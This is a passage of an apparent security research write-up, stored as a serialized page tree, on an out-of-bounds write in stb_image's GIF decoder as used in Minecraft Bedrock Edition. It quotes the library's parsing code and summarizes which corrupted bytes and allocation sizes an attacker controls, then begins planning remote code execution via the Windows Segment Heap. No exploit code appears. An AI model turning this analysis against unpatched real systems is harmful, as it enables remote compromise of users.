,"children":148049},{"style":499},[148050],{"type":32,"value":3440},{"type":26,"tag":475,"props":148052,"children":148053},{"style":903},[148054],{"type":32,"value":3732},{"type":26,"tag":475,"props":148056,"children":148057},{"style":499},[148058],{"type":32,"value":31274},{"type":26,"tag":475,"props":148060,"children":148061},{"class":477,"line":761},[148062,148066,148070,148074,148078,148082,148086,148090,148094],{"type":26,"tag":475,"props":148063,"children":148064},{"style":2375},[148065],{"type":32,"value":147943},{"type":26,"tag":475,"props":148067,"children":148068},{"style":499},[148069],{"type":32,"value":3440},{"type":26,"tag":475,"props":148071,"children":148072},{"style":903},[148073],{"type":32,"value":17002},{"type":26,"tag":475,"props":148075,"children":148076},{"style":499},[148077],{"type":32,"value":1699},{"type":26,"tag":475,"props":148079,"children":148080},{"style":714},[148081],{"type":32,"value":786},{"type":26,"tag":475,"props":148083,"children":148084},{"style":2375},[148085],{"type":32,"value":37139},{"type":26,"tag":475,"props":148087,"children":148088},{"style":499},[148089],{"type":32,"value":3440},{"type":26,"tag":475,"props":148091,"children":148092},{"style":903},[148093],{"type":32,"value":17002},{"type":26,"tag":475,"props":148095,"children":148096},{"style":499},[148097],{"type":32,"value":31274},{"type":26,"tag":475,"props":148099,"children":148100},{"class":477,"line":770},[148101],{"type":26,"tag":475,"props":148102,"children":148103},{"style":499},[148104],{"type":32,"value":34443},{"type":26,"tag":35,"props":148106,"children":148107},{},[148108,148110,148115,148117,148122],{"type":32,"value":148109},"This confirms ",{"type":26,"tag":53,"props":148111,"children":148113},{"className":148112},[],[148114],{"type":32,"value":76146},{"type":32,"value":148116}," is OOB for ",{"type":26,"tag":53,"props":148118,"children":148120},{"className":148119},[],[148121],{"type":32,"value":147600},{"type":32,"value":148123}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":26,"tag":35,"props":148125,"children":148126},{},[148127,148129,148135,148137,148144],{"type":32,"value":148128},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":26,"tag":53,"props":148130,"children":148132},{"className":148131},[],[148133],{"type":32,"value":148134},"g->color_table",{"type":32,"value":148136}," is populated by ",{"type":26,"tag":116,"props":148138,"children":148141},{"href":148139,"rel":148140},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[120],[148142],{"type":32,"value":148143},"stbi__gif_parse_colortable",{"type":32,"value":179},{"type":26,"tag":465,"props":148146,"children":148148},{"code":148147,"language":2854,"meta":7,"className":16220,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[148149],{"type":26,"tag":53,"props":148150,"children":148151},{"__ignoreMap":7},[148152,148172,148192,148231,148247,148259,148266,148277,148320,148354,148385,148416,148473,148480],{"type":26,"tag":475,"props":148153,"children":148154},{"class":477,"line":478},[148155,148159,148163,148168],{"type":26,"tag":475,"props":148156,"children":148157},{"style":482},[148158],{"type":32,"value":50736},{"type":26,"tag":475,"props":148160,"children":148161},{"style":482},[148162],{"type":32,"value":50741},{"type":26,"tag":475,"props":148164,"children":148165},{"style":493},[148166],{"type":32,"value":148167}," stbi__gif_parse_colortable",{"type":26,"tag":475,"props":148169,"children":148170},{"style":499},[148171],{"type":32,"value":3169},{"type":26,"tag":475,"props":148173,"children":148174},{"class":477,"line":516},[148175,148180,148184,148188],{"type":26,"tag":475,"props":148176,"children":148177},{"style":499},[148178],{"type":32,"value":148179}," stbi__context ",{"type":26,"tag":475,"props":148181,"children":148182},{"style":714},[148183],{"type":32,"value":4282},{"type":26,"tag":475,"props":148185,"children":148186},{"style":2375},[148187],{"type":32,"value":10360},{"type":26,"tag":475,"props":148189,"children":148190},{"style":499},[148191],{"type":32,"value":2425},{"type":26,"tag":475,"props":148193,"children":148194},{"class":477,"line":539},[148195,148200,148205,148209,148213,148217,148221,148226],{"type":26,"tag":475,"props":148196,"children":148197},{"style":499},[148198],{"type":32,"value":148199}," stbi_uc ",{"type":26,"tag":475,"props":148201,"children":148202},{"style":2375},[148203],{"type":32,"value":148204},"pal",{"type":26,"tag":475,"props":148206,"children":148207},{"style":499},[148208],{"type":32,"value":3440},{"type":26,"tag":475,"props":148210,"children":148211},{"style":903},[148212],{"type":32,"value":92915},{"type":26,"tag":475,"props":148214,"children":148215},{"style":499},[148216],{"type":32,"value":48650},{"type":26,"tag":475,"props":148218,"children":148219},{"style":903},[148220],{"type":32,"value":17235},{"type":26,"tag":475,"props":148222,"children":148223},{"style":499},[148224],{"type":32,"value":148225},"],",{"type":26,"tag":475,"props":148227,"children":148228},{"style":552},[148229],{"type":32,"value":148230}," // g->color_table\n",{"type":26,"tag":475,"props":148232,"children":148233},{"class":477,"line":548},[148234,148238,148243],{"type":26,"tag":475,"props":148235,"children":148236},{"style":482},[148237],{"type":32,"value":18785},{"type":26,"tag":475,"props":148239,"children":148240},{"style":2375},[148241],{"type":32,"value":148242}," num_entries",{"type":26,"tag":475,"props":148244,"children":148245},{"style":499},[148246],{"type":32,"value":2425},{"type":26,"tag":475,"props":148248,"children":148249},{"class":477,"line":558},[148250,148254],{"type":26,"tag":475,"props":148251,"children":148252},{"style":482},[148253],{"type":32,"value":18785},{"type":26,"tag":475,"props":148255,"children":148256},{"style":499},[148257],{"type":32,"value":148258}," transp\n",{"type":26,"tag":475,"props":148260,"children":148261},{"class":477,"line":582},[148262],{"type":26,"tag":475,"props":148263,"children":148264},{"style":499},[148265],{"type":32,"value":676},{"type":26,"tag":475,"props":148267,"children":148268},{"class":477,"line":596},[148269,148273],{"type":26,"tag":475,"props":148270,"children":148271},{"style":482},[148272],{"type":32,"value":147321},{"type":26,"tag":475,"props":148274,"children":148275},{"style":499},[148276],{"type":32,"value":57656},{"type":26,"tag":475,"props":148278,"children":148279},{"class":477,"line":610},[148280,148285,148290,148294,148298,148302,148306,148311,148315],{"type":26,"tag":475,"props":148281,"children":148282},{"style":586},[148283],{"type":32,"value":148284}," for",{"type":26,"tag":475,"props":148286,"children":148287},{"style":499},[148288],{"type":32,"value":148289}," (i",{"type":26,"tag":475,"props":148291,"children":148292},{"style":714},[148293],{"type":32,"value":786},{"type":26,"tag":475,"props":148295,"children":148296},{"style":903},[148297],{"type":32,"value":3732},{"type":26,"tag":475,"props":148299,"children":148300},{"style":499},[148301],{"type":32,"value":50925},{"type":26,"tag":475,"props":148303,"children":148304},{"style":714},[148305],{"type":32,"value":5519},{"type":26,"tag":475,"props":148307,"children":148308},{"style":499},[148309],{"type":32,"value":148310}," num_entries; ",{"type":26,"tag":475,"props":148312,"children":148313},{"style":714},[148314],{"type":32,"value":50961},{"type":26,"tag":475,"props":148316,"children":148317},{"style":499},[148318],{"type":32,"value":148319},"i) {\n",{"type":26,"tag":475,"props":148321,"children":148322},{"class":477,"line":650},[148323,148328,148332,148336,148340,148344,148349],{"type":26,"tag":475,"props":148324,"children":148325},{"style":2375},[148326],{"type":32,"value":148327}," pal",{"type":26,"tag":475,"props":148329,"children":148330},{"style":499},[148331],{"type":32,"value":60346},{"type":26,"tag":475,"props":148333,"children":148334},{"style":903},[148335],{"type":32,"value":2830},{"type":26,"tag":475,"props":148337,"children":148338},{"style":499},[148339],{"type":32,"value":1699},{"type":26,"tag":475,"props":148341,"children":148342},{"style":714},[148343],{"type":32,"value":786},{"type":26,"tag":475,"props":148345,"children":148346},{"style":493},[148347],{"type":32,"value":148348}," stbi__get8",{"type":26,"tag":475,"props":148350,"children":148351},{"style":499},[148352],{"type":32,"value":148353},"(s);\n",{"type":26,"tag":475,"props":148355,"children":148356},{"class":477,"line":679},[148357,148361,148365,148369,148373,148377,148381],{"type":26,"tag":475,"props":148358,"children":148359},{"style":2375},[148360],{"type":32,"value":148327},{"type":26,"tag":475,"props":148362,"children":148363},{"style":499},[148364],{"type":32,"value":60346},{"type":26,"tag":475,"props":148366,"children":148367},{"style":903},[148368],{"type":32,"value":3722},{"type":26,"tag":475,"props":148370,"children":148371},{"style":499},[148372],{"type":32,"value":1699},{"type":26,"tag":475,"props":148374,"children":148375},{"style":714},[148376],{"type":32,"value":786},{"type":26,"tag":475,"props":148378,"children":148379},{"style":493},[148380],{"type":32,"value":148348},{"type":26,"tag":475,"props":148382,"children":148383},{"style":499},[148384],{"type":32,"value":148353},{"type":26,"tag":475,"props":148386,"children":148387},{"class":477,"line":735},[148388,148392,148396,148400,148404,148408,148412],{"type":26,"tag":475,"props":148389,"children":148390},{"style":2375},[148391],{"type":32,"value":148327},{"type":26,"tag":475,"props":148393,"children":148394},{"style":499},[148395],{"type":32,"value":60346},{"type":26,"tag":475,"props":148397,"children":148398},{"style":903},[148399],{"type":32,"value":3732},{"type":26,"tag":475,"props":148401,"children":148402},{"style":499},[148403],{"type":32,"value":1699},{"type":26,"tag":475,"props":148405,"children":148406},{"style":714},[148407],{"type":32,"value":786},{"type":26,"tag":475,"props":148409,"children":148410},{"style":493},[148411],{"type":32,"value":148348},{"type":26,"tag":475,"props":148413,"children":148414},{"style":499},[148415],{"type":32,"value":148353},{"type":26,"tag":475,"props":148417,"children":148418},{"class":477,"line":744},[148419,148423,148427,148431,148435,148439,148444,148448,148452,148456,148460,148464,148469],{"type":26,"tag":475,"props":148420,"children":148421},{"style":2375},[148422],{"type":32,"value":148327},{"type":26,"tag":475,"props":148424,"children":148425},{"style":499},[148426],{"type":32,"value":60346},{"type":26,"tag":475,"props":148428,"children":148429},{"style":903},[148430],{"type":32,"value":17002},{"type":26,"tag":475,"props":148432,"children":148433},{"style":499},[148434],{"type":32,"value":1699},{"type":26,"tag":475,"props":148436,"children":148437},{"style":714},[148438],{"type":32,"value":786},{"type":26,"tag":475,"props":148440,"children":148441},{"style":499},[148442],{"type":32,"value":148443}," transp ",{"type":26,"tag":475,"props":148445,"children":148446},{"style":714},[148447],{"type":32,"value":8287},{"type":26,"tag":475,"props":148449,"children":148450},{"style":499},[148451],{"type":32,"value":54235},{"type":26,"tag":475,"props":148453,"children":148454},{"style":714},[148455],{"type":32,"value":2863},{"type":26,"tag":475,"props":148457,"children":148458},{"style":903},[148459],{"type":32,"value":2752},{"type":26,"tag":475,"props":148461,"children":148462},{"style":714},[148463],{"type":32,"value":34811},{"type":26,"tag":475,"props":148465,"children":148466},{"style":903},[148467],{"type":32,"value":148468}," 255",{"type":26,"tag":475,"props":148470,"children":148471},{"style":499},[148472],{"type":32,"value":2729},{"type":26,"tag":475,"props":148474,"children":148475},{"class":477,"line":753},[148476],{"type":26,"tag":475,"props":148477,"children":148478},{"style":499},[148479],{"type":32,"value":34443},{"type":26,"tag":475,"props":148481,"children":148482},{"class":477,"line":761},[148483],{"type":26,"tag":475,"props":148484,"children":148485},{"style":499},[148486],{"type":32,"value":3607},{"type":26,"tag":35,"props":148488,"children":148489},{},[148490,148492,148497,148498,148503,148505,148510],{"type":32,"value":148491},"The first three bytes are read from the input image, while the last byte can be either ",{"type":26,"tag":53,"props":148493,"children":148495},{"className":148494},[],[148496],{"type":32,"value":3732},{"type":32,"value":455},{"type":26,"tag":53,"props":148499,"children":148501},{"className":148500},[],[148502],{"type":32,"value":112775},{"type":32,"value":148504},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":26,"tag":53,"props":148506,"children":148508},{"className":148507},[],[148509],{"type":32,"value":29550},{"type":32,"value":179},{"type":26,"tag":465,"props":148512,"children":148514},{"code":148513,"language":2854,"meta":7,"className":16220,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[148515],{"type":26,"tag":53,"props":148516,"children":148517},{"__ignoreMap":7},[148518,148581,148620,148659,148698,148737,148776],{"type":26,"tag":475,"props":148519,"children":148520},{"class":477,"line":478},[148521,148525,148529,148533,148537,148541,148545,148549,148553,148557,148561,148565,148569,148573,148577],{"type":26,"tag":475,"props":148522,"children":148523},{"style":499},[148524],{"type":32,"value":147835},{"type":26,"tag":475,"props":148526,"children":148527},{"style":714},[148528],{"type":32,"value":786},{"type":26,"tag":475,"props":148530,"children":148531},{"style":714},[148532],{"type":32,"value":6854},{"type":26,"tag":475,"props":148534,"children":148535},{"style":499},[148536],{"type":32,"value":108730},{"type":26,"tag":475,"props":148538,"children":148539},{"style":714},[148540],{"type":32,"value":13464},{"type":26,"tag":475,"props":148542,"children":148543},{"style":2375},[148544],{"type":32,"value":147856},{"type":26,"tag":475,"props":148546,"children":148547},{"style":499},[148548],{"type":32,"value":3440},{"type":26,"tag":475,"props":148550,"children":148551},{"style":2375},[148552],{"type":32,"value":108730},{"type":26,"tag":475,"props":148554,"children":148555},{"style":499},[148556],{"type":32,"value":13464},{"type":26,"tag":475,"props":148558,"children":148559},{"style":2375},[148560],{"type":32,"value":147873},{"type":26,"tag":475,"props":148562,"children":148563},{"style":499},[148564],{"type":32,"value":147878},{"type":26,"tag":475,"props":148566,"children":148567},{"style":2375},[148568],{"type":32,"value":147883},{"type":26,"tag":475,"props":148570,"children":148571},{"style":714},[148572],{"type":32,"value":9525},{"type":26,"tag":475,"props":148574,"children":148575},{"style":903},[148576],{"type":32,"value":11454},{"type":26,"tag":475,"props":148578,"children":148579},{"style":499},[148580],{"type":32,"value":31274},{"type":26,"tag":475,"props":148582,"children":148583},{"class":477,"line":516},[148584,148588,148592,148596,148600,148604,148608,148612,148616],{"type":26,"tag":475,"props":148585,"children":148586},{"style":586},[148587],{"type":32,"value":52335},{"type":26,"tag":475,"props":148589,"children":148590},{"style":499},[148591],{"type":32,"value":2775},{"type":26,"tag":475,"props":148593,"children":148594},{"style":2375},[148595],{"type":32,"value":2854},{"type":26,"tag":475,"props":148597,"children":148598},{"style":499},[148599],{"type":32,"value":3440},{"type":26,"tag":475,"props":148601,"children":148602},{"style":903},[148603],{"type":32,"value":17002},{"type":26,"tag":475,"props":148605,"children":148606},{"style":499},[148607],{"type":32,"value":1699},{"type":26,"tag":475,"props":148609,"children":148610},{"style":714},[148611],{"type":32,"value":10170},{"type":26,"tag":475,"props":148613,"children":148614},{"style":903},[148615],{"type":32,"value":147931},{"type":26,"tag":475,"props":148617,"children":148618},{"style":499},[148619],{"type":32,"value":676},{"type":26,"tag":475,"props":148621,"children":148622},{"class":477,"line":539},[148623,148627,148631,148635,148639,148643,148647,148651,148655],{"type":26,"tag":475,"props":148624,"children":148625},{"style":2375},[148626],{"type":32,"value":147943},{"type":26,"tag":475,"props":148628,"children":148629},{"style":499},[148630],{"type":32,"value":3440},{"type":26,"tag":475,"props":148632,"children":148633},{"style":903},[148634],{"type":32,"value":3732},{"type":26,"tag":475,"props":148636,"children":148637},{"style":499},[148638],{"type":32,"value":1699},{"type":26,"tag":475,"props":148640,"children":148641},{"style":714},[148642],{"type":32,"value":786},{"type":26,"tag":475,"props":148644,"children":148645},{"style":2375},[148646],{"type":32,"value":37139},{"type":26,"tag":475,"props":148648,"children":148649},{"style":499},[148650],{"type":32,"value":3440},{"type":26,"tag":475,"props":148652,"children":148653},{"style":903},[148654],{"type":32,"value":2830},{"type":26,"tag":475,"props":148656,"children":148657},{"style":499},[148658],{"type":32,"value":31274},{"type":26,"tag":475,"props":148660,"children":148661},{"class":477,"line":548},[148662,148666,148670,148674,148678,148682,148686,148690,148694],{"type":26,"tag":475,"props":148663,"children":148664},{"style":2375},[148665],{"type":32,"value":147943},{"type":26,"tag":475,"props":148667,"children":148668},{"style":499},[148669],{"type":32,"value":3440},{"type":26,"tag":475,"props":148671,"children":148672},{"style":903},[148673],{"type":32,"value":3722},{"type":26,"tag":475,"props":148675,"children":148676},{"style":499},[148677],{"type":32,"value":1699},{"type":26,"tag":475,"props":148679,"children":148680},{"style":714},[148681],{"type":32,"value":786},{"type":26,"tag":475,"props":148683,"children":148684},{"style":2375},[148685],{"type":32,"value":37139},{"type":26,"tag":475,"props":148687,"children":148688},{"style":499},[148689],{"type":32,"value":3440},{"type":26,"tag":475,"props":148691,"children":148692},{"style":903},[148693],{"type":32,"value":3722},{"type":26,"tag":475,"props":148695,"children":148696},{"style":499},[148697],{"type":32,"value":31274},{"type":26,"tag":475,"props":148699,"children":148700},{"class":477,"line":558},[148701,148705,148709,148713,148717,148721,148725,148729,148733],{"type":26,"tag":475,"props":148702,"children":148703},{"style":2375},[148704],{"type":32,"value":147943},{"type":26,"tag":475,"props":148706,"children":148707},{"style":499},[148708],{"type":32,"value":3440},{"type":26,"tag":475,"props":148710,"children":148711},{"style":903},[148712],{"type":32,"value":2830},{"type":26,"tag":475,"props":148714,"children":148715},{"style":499},[148716],{"type":32,"value":1699},{"type":26,"tag":475,"props":148718,"children":148719},{"style":714},[148720],{"type":32,"value":786},{"type":26,"tag":475,"props":148722,"children":148723},{"style":2375},[148724],{"type":32,"value":37139},{"type":26,"tag":475,"props":148726,"children":148727},{"style":499},[148728],{"type":32,"value":3440},{"type":26,"tag":475,"props":148730,"children":148731},{"style":903},[148732],{"type":32,"value":3732},{"type":26,"tag":475,"props":148734,"children":148735},{"style":499},[148736],{"type":32,"value":31274},{"type":26,"tag":475,"props":148738,"children":148739},{"class":477,"line":582},[148740,148744,148748,148752,148756,148760,148764,148768,148772],{"type":26,"tag":475,"props":148741,"children":148742},{"style":2375},[148743],{"type":32,"value":147943},{"type":26,"tag":475,"props":148745,"children":148746},{"style":499},[148747],{"type":32,"value":3440},{"type":26,"tag":475,"props":148749,"children":148750},{"style":903},[148751],{"type":32,"value":17002},{"type":26,"tag":475,"props":148753,"children":148754},{"style":499},[148755],{"type":32,"value":1699},{"type":26,"tag":475,"props":148757,"children":148758},{"style":714},[148759],{"type":32,"value":786},{"type":26,"tag":475,"props":148761,"children":148762},{"style":2375},[148763],{"type":32,"value":37139},{"type":26,"tag":475,"props":148765,"children":148766},{"style":499},[148767],{"type":32,"value":3440},{"type":26,"tag":475,"props":148769,"children":148770},{"style":903},[148771],{"type":32,"value":17002},{"type":26,"tag":475,"props":148773,"children":148774},{"style":499},[148775],{"type":32,"value":31274},{"type":26,"tag":475,"props":148777,"children":148778},{"class":477,"line":596},[148779],{"type":26,"tag":475,"props":148780,"children":148781},{"style":499},[148782],{"type":32,"value":34443},{"type":26,"tag":35,"props":148784,"children":148785},{},[148786,148787,148792,148794,148799,148801,148806],{"type":32,"value":23715},{"type":26,"tag":53,"props":148788,"children":148790},{"className":148789},[],[148791],{"type":32,"value":148143},{"type":32,"value":148793}," has to set the last byte to ",{"type":26,"tag":53,"props":148795,"children":148797},{"className":148796},[],[148798],{"type":32,"value":112775},{"type":32,"value":148800}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":26,"tag":53,"props":148802,"children":148804},{"className":148803},[],[148805],{"type":32,"value":112775},{"type":32,"value":353},{"type":26,"tag":35,"props":148808,"children":148809},{},[148810,148812,148817,148819,148825,148826,148832],{"type":32,"value":148811},"In the code we can see that size of the ",{"type":26,"tag":53,"props":148813,"children":148815},{"className":148814},[],[148816],{"type":32,"value":147600},{"type":32,"value":148818}," allocation is controlled through ",{"type":26,"tag":53,"props":148820,"children":148822},{"className":148821},[],[148823],{"type":32,"value":148824},"g->w",{"type":32,"value":209},{"type":26,"tag":53,"props":148827,"children":148829},{"className":148828},[],[148830],{"type":32,"value":148831},"g->h",{"type":32,"value":148833}," values, both of which are read from the input file itself:",{"type":26,"tag":465,"props":148835,"children":148837},{"code":148836,"language":2854,"meta":7,"className":16220,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[148838],{"type":26,"tag":53,"props":148839,"children":148840},{"__ignoreMap":7},[148841,148866,148873,148880,148915,148961],{"type":26,"tag":475,"props":148842,"children":148843},{"class":477,"line":478},[148844,148848,148853,148857,148861],{"type":26,"tag":475,"props":148845,"children":148846},{"style":482},[148847],{"type":32,"value":50736},{"type":26,"tag":475,"props":148849,"children":148850},{"style":499},[148851],{"type":32,"value":148852}," stbi_uc ",{"type":26,"tag":475,"props":148854,"children":148855},{"style":714},[148856],{"type":32,"value":4282},{"type":26,"tag":475,"props":148858,"children":148859},{"style":493},[148860],{"type":32,"value":146779},{"type":26,"tag":475,"props":148862,"children":148863},{"style":499},[148864],{"type":32,"value":148865},"(...)\n",{"type":26,"tag":475,"props":148867,"children":148868},{"class":477,"line":516},[148869],{"type":26,"tag":475,"props":148870,"children":148871},{"style":499},[148872],{"type":32,"value":10589},{"type":26,"tag":475,"props":148874,"children":148875},{"class":477,"line":539},[148876],{"type":26,"tag":475,"props":148877,"children":148878},{"style":499},[148879],{"type":32,"value":147341},{"type":26,"tag":475,"props":148881,"children":148882},{"class":477,"line":548},[148883,148887,148891,148895,148899,148903,148907,148911],{"type":26,"tag":475,"props":148884,"children":148885},{"style":586},[148886],{"type":32,"value":52335},{"type":26,"tag":475,"props":148888,"children":148889},{"style":499},[148890],{"type":32,"value":2775},{"type":26,"tag":475,"props":148892,"children":148893},{"style":2375},[148894],{"type":32,"value":108730},{"type":26,"tag":475,"props":148896,"children":148897},{"style":499},[148898],{"type":32,"value":13464},{"type":26,"tag":475,"props":148900,"children":148901},{"style":2375},[148902],{"type":32,"value":118153},{"type":26,"tag":475,"props":148904,"children":148905},{"style":714},[148906],{"type":32,"value":2990},{"type":26,"tag":475,"props":148908,"children":148909},{"style":903},[148910],{"type":32,"value":2752},{"type":26,"tag":475,"props":148912,"children":148913},{"style":499},[148914],{"type":32,"value":676},{"type":26,"tag":475,"props":148916,"children":148917},{"class":477,"line":558},[148918,148922,148926,148930,148935,148940,148944,148949,148953,148957],{"type":26,"tag":475,"props":148919,"children":148920},{"style":586},[148921],{"type":32,"value":38978},{"type":26,"tag":475,"props":148923,"children":148924},{"style":499},[148925],{"type":32,"value":2775},{"type":26,"tag":475,"props":148927,"children":148928},{"style":714},[148929],{"type":32,"value":20329},{"type":26,"tag":475,"props":148931,"children":148932},{"style":493},[148933],{"type":32,"value":148934},"stbi__gif_header",{"type":26,"tag":475,"props":148936,"children":148937},{"style":499},[148938],{"type":32,"value":148939},"(s, g, comp,",{"type":26,"tag":475,"props":148941,"children":148942},{"style":903},[148943],{"type":32,"value":3732},{"type":26,"tag":475,"props":148945,"children":148946},{"style":499},[148947],{"type":32,"value":148948},")) ",{"type":26,"tag":475,"props":148950,"children":148951},{"style":586},[148952],{"type":32,"value":48150},{"type":26,"tag":475,"props":148954,"children":148955},{"style":903},[148956],{"type":32,"value":2752},{"type":26,"tag":475,"props":148958,"children":148959},{"style":499},[148960],{"type":32,"value":2729},{"type":26,"tag":475,"props":148962,"children":148963},{"class":477,"line":582},[148964,148969,148973,148977,148981,148986,148990,148994,148999,149003,149007,149011,149015,149019,149023,149027,149031,149035,149039],{"type":26,"tag":475,"props":148965,"children":148966},{"style":2375},[148967],{"type":32,"value":148968}," g",{"type":26,"tag":475,"props":148970,"children":148971},{"style":499},[148972],{"type":32,"value":13464},{"type":26,"tag":475,"props":148974,"children":148975},{"style":2375},[148976],{"type":32,"value":118153},{"type":26,"tag":475,"props":148978,"children":148979},{"style":714},[148980],{"type":32,"value":2383},{"type":26,"tag":475,"props":148982,"children":148983},{"style":499},[148984],{"type":32,"value":148985}," (stbi_uc ",{"type":26,"tag":475,"props":148987,"children":148988},{"style":714},[148989],{"type":32,"value":4282},{"type":26,"tag":475,"props":148991,"children":148992},{"style":499},[148993],{"type":32,"value":2794},{"type":26,"tag":475,"props":148995,"children":148996},{"style":493},[148997],{"type":32,"value":148998},"stbi__malloc",{"type":26,"tag":475,"props":149000,"children":149001},{"style":499},[149002],{"type":32,"value":626},{"type":26,"tag":475,"props":149004,"children":149005},{"style":903},[149006],{"type":32,"value":17235},{"type":26,"tag":475,"props":149008,"children":149009},{"style":714},[149010],{"type":32,"value":9525},{"type":26,"tag":475,"props":149012,"children":149013},{"style":2375},[149014],{"type":32,"value":147381},{"type":26,"tag":475,"props":149016,"children":149017},{"style":499},[149018],{"type":32,"value":13464},{"type":26,"tag":475,"props":149020,"children":149021},{"style":2375},[149022],{"type":32,"value":49264},{"type":26,"tag":475,"props":149024,"children":149025},{"style":714},[149026],{"type":32,"value":9525},{"type":26,"tag":475,"props":149028,"children":149029},{"style":2375},[149030],{"type":32,"value":147381},{"type":26,"tag":475,"props":149032,"children":149033},{"style":499},[149034],{"type":32,"value":13464},{"type":26,"tag":475,"props":149036,"children":149037},{"style":2375},[149038],{"type":32,"value":83967},{"type":26,"tag":475,"props":149040,"children":149041},{"style":499},[149042],{"type":32,"value":3533},{"type":26,"tag":35,"props":149044,"children":149045},{},[149046,149048,149053,149055,149060],{"type":32,"value":149047},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":26,"tag":53,"props":149049,"children":149051},{"className":149050},[],[149052],{"type":32,"value":147600},{"type":32,"value":149054}," and the value of ",{"type":26,"tag":53,"props":149056,"children":149058},{"className":149057},[],[149059],{"type":32,"value":35},{"type":32,"value":149061}," just before the OOB write happens:",{"type":26,"tag":465,"props":149063,"children":149065},{"code":149064},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[149066],{"type":26,"tag":53,"props":149067,"children":149068},{"__ignoreMap":7},[149069],{"type":32,"value":149064},{"type":26,"tag":35,"props":149071,"children":149072},{},[149073,149075,149080,149082,149087],{"type":32,"value":149074},"There are multiple within-bound writes to ",{"type":26,"tag":53,"props":149076,"children":149078},{"className":149077},[],[149079],{"type":32,"value":35},{"type":32,"value":149081},", but the last write happens just after the ",{"type":26,"tag":53,"props":149083,"children":149085},{"className":149084},[],[149086],{"type":32,"value":147600},{"type":32,"value":149088}," allocation.",{"type":26,"tag":41,"props":149090,"children":149092},{"id":149091},"summarizing-the-corruption",[149093],{"type":32,"value":149094},"Summarizing the Corruption",{"type":26,"tag":82,"props":149096,"children":149097},{},[149098,149111,149139],{"type":26,"tag":86,"props":149099,"children":149100},{},[149101,149103,149109],{"type":32,"value":149102},"A single ",{"type":26,"tag":53,"props":149104,"children":149106},{"className":149105},[],[149107],{"type":32,"value":149108},"0x01",{"type":32,"value":149110}," byte write OOB",{"type":26,"tag":86,"props":149112,"children":149113},{},[149114,149116],{"type":32,"value":149115},"4-byte OOB write just above the allocated buffer\n",{"type":26,"tag":82,"props":149117,"children":149118},{},[149119,149124,149134],{"type":26,"tag":86,"props":149120,"children":149121},{},[149122],{"type":32,"value":149123},"First three bytes are controllable",{"type":26,"tag":86,"props":149125,"children":149126},{},[149127,149129],{"type":32,"value":149128},"Last byte will be ",{"type":26,"tag":53,"props":149130,"children":149132},{"className":149131},[],[149133],{"type":32,"value":112775},{"type":26,"tag":86,"props":149135,"children":149136},{},[149137],{"type":32,"value":149138},"Size of the allocation is controlled",{"type":26,"tag":86,"props":149140,"children":149141},{},[149142,149144],{"type":32,"value":149143},"Both corruptions are done on a short-lived allocation\n",{"type":26,"tag":82,"props":149145,"children":149146},{},[149147,149152],{"type":26,"tag":86,"props":149148,"children":149149},{},[149150],{"type":32,"value":149151},"Allocated just before the image-parsing process",{"type":26,"tag":86,"props":149153,"children":149154},{},[149155],{"type":32,"value":149156},"Freed immediately upon parsing completion",{"type":26,"tag":18502,"props":149158,"children":149159},{},[],{"type":26,"tag":35,"props":149161,"children":149162},{},[149163,149165,149172,149174,149181],{"type":32,"value":149164},"Note that this bug was already found before (",{"type":26,"tag":116,"props":149166,"children":149169},{"href":149167,"rel":149168},"https://github.com/nothings/stb/issues/656",[120],[149170],{"type":32,"value":149171},"Github Issue",{"type":32,"value":149173},") but we missed it at the time. It was later fixed in ",{"type":26,"tag":116,"props":149175,"children":149178},{"href":149176,"rel":149177},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[120],[149179],{"type":32,"value":149180},"this commit",{"type":32,"value":353},{"type":26,"tag":27,"props":149183,"children":149184},{"id":5131},[149185],{"type":32,"value":5134},{"type":26,"tag":35,"props":149187,"children":149188},{},[149189],{"type":32,"value":149190},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":26,"tag":35,"props":149192,"children":149193},{},[149194],{"type":32,"value":149195},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":26,"tag":41,"props":149197,"children":149199},{"id":149198},"searching-for-better-primitives",[149200],{"type":32,"value":149201},"Searching for Better Primitives",{"type":26,"tag":35,"props":149203,"children":149204},{},[149205],{"type":32,"value":149206},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":26,"tag":35,"props":149208,"children":149209},{},[149210,149212,149219],{"type":32,"value":149211},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":26,"tag":116,"props":149213,"children":149216},{"href":149214,"rel":149215},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[120],[149217],{"type":32,"value":149218},"UWP",{"type":32,"value":149220}," applications (such as Minecraft Bedrock Edition).",{"type":26,"tag":41,"props":149222,"children":149224},{"id":149223},"segment-heap",[149225],{"type":32,"value":149226},"Segment 